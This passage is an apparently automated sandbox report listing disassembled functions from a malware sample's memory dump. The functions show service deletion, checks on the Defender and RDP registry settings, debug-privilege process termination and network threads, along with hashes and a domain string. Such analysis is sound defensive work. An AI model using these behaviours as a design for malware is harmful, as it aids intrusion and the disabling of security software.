closesocket.WS2_32(00000000), ref: 00414914
TerminateThread.KERNEL32(?,00000000), ref: 0041494C
CloseHandle.KERNEL32(00428008), ref: 00414953

Strings

nsocket-di:%d, xrefs: 004148F6

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseHandleSleepTerminateThreadclosesocketwsprintf
String ID: nsocket-di:%d
API String ID: 1790861966-355283319
Opcode ID: 1eaa8bd2cf5d01b57e4e7059e93ce53f9976e290c176b5cc93b122416665a4cb
Instruction ID: c038ad9e32248723968acfa81b0473519ec65919259b836e0ef13fcda48b4a6a
Opcode Fuzzy Hash: 1eaa8bd2cf5d01b57e4e7059e93ce53f9976e290c176b5cc93b122416665a4cb
Instruction Fuzzy Hash: 47114F74740214ABD730DB28FC84B9A37A4B784328F95812AE814D73A0D779AC4ECB5C

Function 0040D470 Relevance: 10.5, APIs: 7, Instructions: 47serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000002), ref: 0040D47F
OpenServiceA.ADVAPI32(00000000,?,000F01FF), ref: 0040D4BA
GetLastError.KERNEL32 ref: 0040D4C2
QueryServiceStatus.ADVAPI32(00000000,?), ref: 0040D4CE
DeleteService.ADVAPI32(00000000), ref: 0040D4D5
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D4E2
CloseServiceHandle.ADVAPI32(00000000), ref: 0040D4E5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Service$CloseHandleOpen$DeleteErrorLastManagerQueryStatus
String ID:
API String ID: 1056138329-0
Opcode ID: 2620753b3454f6dadb64e8c77aaa2a209039810d3a0bf38e0e8562963953ceb9
Instruction ID: a7e760daa4de6a194430224441be3164bd7497aff50154f4d329eab75b029413
Opcode Fuzzy Hash: 2620753b3454f6dadb64e8c77aaa2a209039810d3a0bf38e0e8562963953ceb9
Instruction Fuzzy Hash: B801DB32690214ABD31457B49C8DFDB7F98FBCC321F008629F71A93290D9B45D04C7A4

Function 00411EC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46filestringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32 ref: 00411EE6
lstrcatA.KERNEL32(?,?), ref: 00411EF5
CreateFileA.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00411F12
CloseHandle.KERNEL32(00000000), ref: 00411F3A
LocalFree.KERNEL32(?), ref: 00411F53

Strings

p, xrefs: 00411EE1

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateDirectoryFileFreeHandleLocalSystemlstrcat
String ID: p
API String ID: 3845662661-2181537457
Opcode ID: 64e0b153b10587df9cad7c4a1c3592660aed04596eb9503499bb18d4e8ebf6ee
Instruction ID: 474ded3510ba160b308d1cf34b7b303b9fa2d41da2799daccfa906caea0ea06d
Opcode Fuzzy Hash: 64e0b153b10587df9cad7c4a1c3592660aed04596eb9503499bb18d4e8ebf6ee
Instruction Fuzzy Hash: B901B970544301ABE310DF74DC49BDB77E4AB88714F40CE1DF299961D0E7B895488B9A

Function 004104B0 Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON

Download Yara Rule

APIs

mbstowcs.MSVCRT ref: 0041050C
NetUserGetLocalGroups.NETAPI32(00000000,?,00000000,00000001,?,000000FF,?,?,000000FF,74DF0440,0042663C), ref: 00410531
wcslen.MSVCRT ref: 00410571
malloc.MSVCRT ref: 00410578
wsprintfA.USER32 ref: 00410589
strncpy.MSVCRT ref: 0041059A

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: GroupsLocalUsermallocmbstowcsstrncpywcslenwsprintf
String ID:
API String ID: 2924516398-0
Opcode ID: 234fb5ebb7e4d798cb2b1ac54412d8e076d0ca6c6b0e52b40b458ff40344874b
Instruction ID: e6dddfe01b28b34863697b498f12fb6b5406321329e640229da78d6bdca8b05f
Opcode Fuzzy Hash: 234fb5ebb7e4d798cb2b1ac54412d8e076d0ca6c6b0e52b40b458ff40344874b
Instruction Fuzzy Hash: 943126711083516BD325DF28C8409EBB7D9FFC8750F000A2EF595D3282DAB8DA858B9A

Function 0040CCE0 Relevance: 9.1, APIs: 6, Instructions: 105windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040CD0B
GetDC.USER32(00000000), ref: 0040CD66
CreateCompatibleBitmap.GDI32(00000000,00000001,00000001), ref: 0040CD73
GetDIBits.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040CD86
ReleaseDC.USER32(00000000,00000000), ref: 0040CD8F
DeleteObject.GDI32(00000000), ref: 0040CD96

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: ??2@BitmapBitsCompatibleCreateDeleteObjectRelease
String ID:
API String ID: 1095915628-0
Opcode ID: d115f5d8e078adb425d7d453a0ba335e87b3804b88e9265fc020c0b84fd46a2e
Instruction ID: 11387c02bafcda6e00c6e1e7aa8e26423746e46bda85dcebc476911df0b1753f
Opcode Fuzzy Hash: d115f5d8e078adb425d7d453a0ba335e87b3804b88e9265fc020c0b84fd46a2e
Instruction Fuzzy Hash: DF31B0712057018FD324CF69DC84BABBBE6FF99304F148A7EE5468B291E670A5098B54

Function 00402450 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402458
gethostbyname.WS2_32(?), ref: 00402464
inet_ntoa.WS2_32(?), ref: 0040248E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 004024FF
CloseHandle.KERNEL32(00000000), ref: 00402502
CreateThread.KERNEL32(00000000,00000000,Function_000023A0,00000000,00000000,00000000), ref: 0040252B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: ae080dd074ef6036c4d14c8be77648be963d145d14477208b8746d0e6a0492b6
Instruction ID: 54d9362d4ad1e388686cf4ae1fb12ba2d701db9d62b7a070d547e6bd95f3cba7
Opcode Fuzzy Hash: ae080dd074ef6036c4d14c8be77648be963d145d14477208b8746d0e6a0492b6
Instruction Fuzzy Hash: 4821D1357846105BD3248A78AD56B2B76D1FBC4720FA5463AFA16E73D0CBF8AC04C61C

Function 004028E0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004028E8
gethostbyname.WS2_32(?), ref: 004028F4
inet_ntoa.WS2_32(?), ref: 0040291E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040298F
CloseHandle.KERNEL32(00000000), ref: 00402992
CreateThread.KERNEL32(00000000,00000000,Function_00002540,00000000,00000000,00000000), ref: 004029BB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: b4edac8b29d6b1009935d230d74a36e755e11a027cdb3a6bc7823ab927722944
Instruction ID: 5a498da370f301a2d03f9717737ae95aa97498c63df5b0ba6a1f64ef2818c8d2
Opcode Fuzzy Hash: b4edac8b29d6b1009935d230d74a36e755e11a027cdb3a6bc7823ab927722944
Instruction Fuzzy Hash: F421D1757846105BD3248A78AC46B2B76D1FBC4720F65463AFA16E73D0CBF8AC04C65C

Function 004048A0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004048A8
gethostbyname.WS2_32(?), ref: 004048B4
inet_ntoa.WS2_32(?), ref: 004048DE
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040494F
CloseHandle.KERNEL32(00000000), ref: 00404952
CreateThread.KERNEL32(00000000,00000000,Function_000046C0,00000000,00000000,00000000), ref: 0040497B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: 3053219378994aa719e3fa495c21228f13d54d12f5213ba937eda3013cba487d
Instruction ID: debc7aa0bb8dca717e3b045cc0a02717006d3a61021671d6357bca73c41b10ce
Opcode Fuzzy Hash: 3053219378994aa719e3fa495c21228f13d54d12f5213ba937eda3013cba487d
Instruction Fuzzy Hash: DA21E0B57842105BD7248A78AC46B2B76D2FBC4720F65463AFA16E73D0CBB8AC04C65C

Function 00404150 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00404158
gethostbyname.WS2_32(?), ref: 00404164
inet_ntoa.WS2_32(?), ref: 0040418E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 004041FF
CloseHandle.KERNEL32(00000000), ref: 00404202
CreateThread.KERNEL32(00000000,00000000,Function_00003F40,00000000,00000000,00000000), ref: 0040422B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: cced65ee01563c3c24d4bc15fb58656b2c07437d8b8c0e76d4ca9d50040fce59
Instruction ID: 048c7ad4ab4a0efecee493246155784990fc9e959001883fdfc022f6a8228fca
Opcode Fuzzy Hash: cced65ee01563c3c24d4bc15fb58656b2c07437d8b8c0e76d4ca9d50040fce59
Instruction Fuzzy Hash: 0921DE757842105BD3288A78AC46B2B76E1FBD4760F65463EFA16A73D0CBB8AC04865C

Function 004045D0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004045D8
gethostbyname.WS2_32(?), ref: 004045E4
inet_ntoa.WS2_32(?), ref: 0040460E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040467F
CloseHandle.KERNEL32(00000000), ref: 00404682
CreateThread.KERNEL32(00000000,00000000,Function_00004240,00000000,00000000,00000000), ref: 004046AB

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: a2c8ec35e66a7755dd8a0276750993c30e6f14f37d50fa57bdada80a08d6c06c
Instruction ID: eae46ad6a68e7a141878cb84663a07c669958f035f4c732714230885a663f6b1
Opcode Fuzzy Hash: a2c8ec35e66a7755dd8a0276750993c30e6f14f37d50fa57bdada80a08d6c06c
Instruction Fuzzy Hash: 1321FE717842105BD3248A78AC42B2B76D1FBC5720F65463AFA16A73D0DBB8AC00865C

Function 004022B0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004022B8
gethostbyname.WS2_32(?), ref: 004022C4
inet_ntoa.WS2_32(?), ref: 004022EE
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040235F
CloseHandle.KERNEL32(00000000), ref: 00402362
CreateThread.KERNEL32(00000000,00000000,Function_00001FA0,00000000,00000000,00000000), ref: 0040238B

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: ad19a9da072e22fd67edd7a9a5c8b20e8a9fc04ba2d2350edf93e6f48cd5e0e4
Instruction ID: e8a00ad7d59d951ee2fdbbaad3e7dcc41295190148bcf34d8f14a681e3f578a2
Opcode Fuzzy Hash: ad19a9da072e22fd67edd7a9a5c8b20e8a9fc04ba2d2350edf93e6f48cd5e0e4
Instruction Fuzzy Hash: 2821E2357846105BD7248A78AC46B2B76D1FBC8720FA5463AFA16E73D0CBF8AC04C65C

Function 0040E1D0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 62stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040E218

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 0040E244
lstrlenA.KERNEL32(?), ref: 0040E26B

Strings

SYSTEM\CurrentControlSet\Services\%s, xrefs: 0040E1FC
Remark, xrefs: 0040E22A
MsMpEng, xrefs: 0040E1F0

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: MsMpEng$Remark$SYSTEM\CurrentControlSet\Services\%s
API String ID: 2249594862-4054063537
Opcode ID: ef2fce78619cacc83e55ac2a5676c00455101a135c37eab128746835f8e33fc7
Instruction ID: 63968ada3898b4e2308ec7ca74b23206eee1936f1f33c903c804578ee512ba8c
Opcode Fuzzy Hash: ef2fce78619cacc83e55ac2a5676c00455101a135c37eab128746835f8e33fc7
Instruction Fuzzy Hash: 310126727402182BD7289525EC52BBBB69EEBC8710F94053EBB02D32C1DDB99D198299

Function 00412090 Relevance: 9.1, APIs: 6, Instructions: 53stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 004120B7
Module32First.KERNEL32(00000000,00000000), ref: 004120CC
lstrcmpiA.KERNEL32(?,?), ref: 004120EB
Module32Next.KERNEL32(00000000,00000000), ref: 004120F7
lstrcmpiA.KERNEL32(?,?), ref: 00412109
CloseHandle.KERNEL32(00000000), ref: 00412114

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Module32lstrcmpi$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 3447504839-0
Opcode ID: 940e670b2923f27d722f90e9c6542a93b0735813d2f26196dddc54114664c13d
Instruction ID: 23a9d2469a2d88952d39272cc1f5422a5e6d20258143ecdc10c2bc527f572d64
Opcode Fuzzy Hash: 940e670b2923f27d722f90e9c6542a93b0735813d2f26196dddc54114664c13d
Instruction Fuzzy Hash: 0701D2311043466BD320EBA5DD54AFBB7ECEF89340F00492EBD40C2240EB78DA08C7A6

Function 004102F0 Relevance: 9.0, APIs: 3, Strings: 3, Instructions: 49stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041033A

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 00410366
lstrlenA.KERNEL32(?), ref: 00410372

Strings

SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\%s, xrefs: 00410334
3389, xrefs: 0041036C, 00410371
PortNumber, xrefs: 0041034C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: 3389$PortNumber$SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\%s
API String ID: 2249594862-3034822107
Opcode ID: 06000ad4374d438e0b9c8365455fdc2c5a4ca18c80695adef39ff0d8c0d1d73e
Instruction ID: 612fd8862b61ad466222110eab3203184425576b9357c41998ae08722edd372f
Opcode Fuzzy Hash: 06000ad4374d438e0b9c8365455fdc2c5a4ca18c80695adef39ff0d8c0d1d73e
Instruction Fuzzy Hash: 94012B717402143BE7245614DC42FEB72A9EBC8714F41843EFB14A3280D6B99D5586AA

Function 0040E0B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040E0B7
CoCreateInstance.OLE32(00420AE0,00000000,00000001,00420AC0,?,?,?,?,?,?,?,?,?,?,www.362-com.com,?), ref: 0040E0CF

Strings

FriendlyName, xrefs: 0040E15C

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: CreateInitializeInstance
String ID: FriendlyName
API String ID: 3519745914-3623505368
Opcode ID: f4c665ec547ac62d3538e9ab01bbf30b89df3e48c9e10ecc45f9a3402d5b1aeb
Instruction ID: 6429f8e13d52d5e83aacb398269523d483b1b430e74a335e3e00cdd5adbd692d
Opcode Fuzzy Hash: f4c665ec547ac62d3538e9ab01bbf30b89df3e48c9e10ecc45f9a3402d5b1aeb
Instruction Fuzzy Hash: E4310670344302AFD604CF61CC89F6BB3E9FF88704F54896DB44ADB290D679E84A8B65

Function 00406240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,00000000,?,00405E57,00000000), ref: 00406290
VirtualFree.KERNEL32(?,00000000,00008000,?,00405E57,00000000), ref: 004062B7
GetProcessHeap.KERNEL32(00000000,W^@,?,00405E57,00000000), ref: 004062C0
HeapFree.KERNEL32(00000000), ref: 004062C7

Strings

W^@, xrefs: 00406241, 004062BD

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Free$Heap$LibraryProcessVirtual
String ID: W^@
API String ID: 548792435-3294023789
Opcode ID: 639ff86f2f28904fd75a48f17eac365bac617e3930025aba4c4096c3b7585871
Instruction ID: 8f32811886bb85514940ef6b55cb2756e90e11ceabdb830f4cee9237ab70f5d4
Opcode Fuzzy Hash: 639ff86f2f28904fd75a48f17eac365bac617e3930025aba4c4096c3b7585871
Instruction Fuzzy Hash: E1113C717407019BD620AFA9DC84F47B3E8AF48720F15896DF59AE72D0D778F8418B64

Function 00407ED0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000021,40000000,00000002,00000000,00000003,00000080,00000000,?,00000001), ref: 00407EFC
SetFilePointer.KERNEL32(00000000,?,?,00000000,?,00000001), ref: 00407F0D
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,00000001), ref: 00407F27
CloseHandle.KERNEL32(00000000,?,00000001), ref: 00407F2E

Strings

p, xrefs: 00407F47

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID: p
API String ID: 3604237281-2181537457
Opcode ID: 71e658ce640062a47a2f71a0652cdf344a7f1a6863d41632961f997cfaa5b71f
Instruction ID: 7951c9aa64e6ca25fb784fc3f28c53ffb9324bf309c0faa3f6f08fe70c579db9
Opcode Fuzzy Hash: 71e658ce640062a47a2f71a0652cdf344a7f1a6863d41632961f997cfaa5b71f
Instruction Fuzzy Hash: E011AC71288301ABE300DF54DC85FABB7E8EBD9714F044A1DF644972D1D7B4A9098BAA

Function 00413DF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 00413E23
TerminateProcess.KERNEL32(00000000,00000000), ref: 00413E2E
CloseHandle.KERNEL32(00000000), ref: 00413E35
Sleep.KERNEL32(00000064), ref: 00413E58

Strings

SeDebugPrivilege, xrefs: 00413DF8, 00413E49

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: Process$Open$CloseCurrentHandleSleepTerminateToken
String ID: SeDebugPrivilege
API String ID: 1801483760-2896544425
Opcode ID: 659ed3f942b2a553878ba58305d0bd3c3ac21fbb6e07c39b6d34ae5a2f1271cb
Instruction ID: 8844cde5430a716e8bf836456c5b6cbc021f4a82416cf0a4200be19356de59eb
Opcode Fuzzy Hash: 659ed3f942b2a553878ba58305d0bd3c3ac21fbb6e07c39b6d34ae5a2f1271cb
Instruction Fuzzy Hash: 0F012B727803106BE1106F50AC8ABBF7754DB84B16F14002EF94167281CB685D5146AA

Function 0040A260 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34sleepfilestringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000012C), ref: 0040A293
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040A2AB
lstrcatA.KERNEL32(?,\MODIf.html,?,00000104), ref: 0040A2BB
DeleteFileA.KERNEL32(?,?,\MODIf.html,?,00000104), ref: 0040A2C6

Part of subcall function 0040A530: SetEvent.KERNEL32(?,0040BEA5), ref: 0040A534

Strings

\MODIf.html, xrefs: 0040A2B5

Memory Dump Source

Source File: 0000000B.00000002.4108378697.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.4108244214.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108614155.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.4108767638.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_svchost.jbxd

Similarity

API ID: DeleteDirectoryEventFileSleepSystemlstrcat
String ID: \MODIf.html
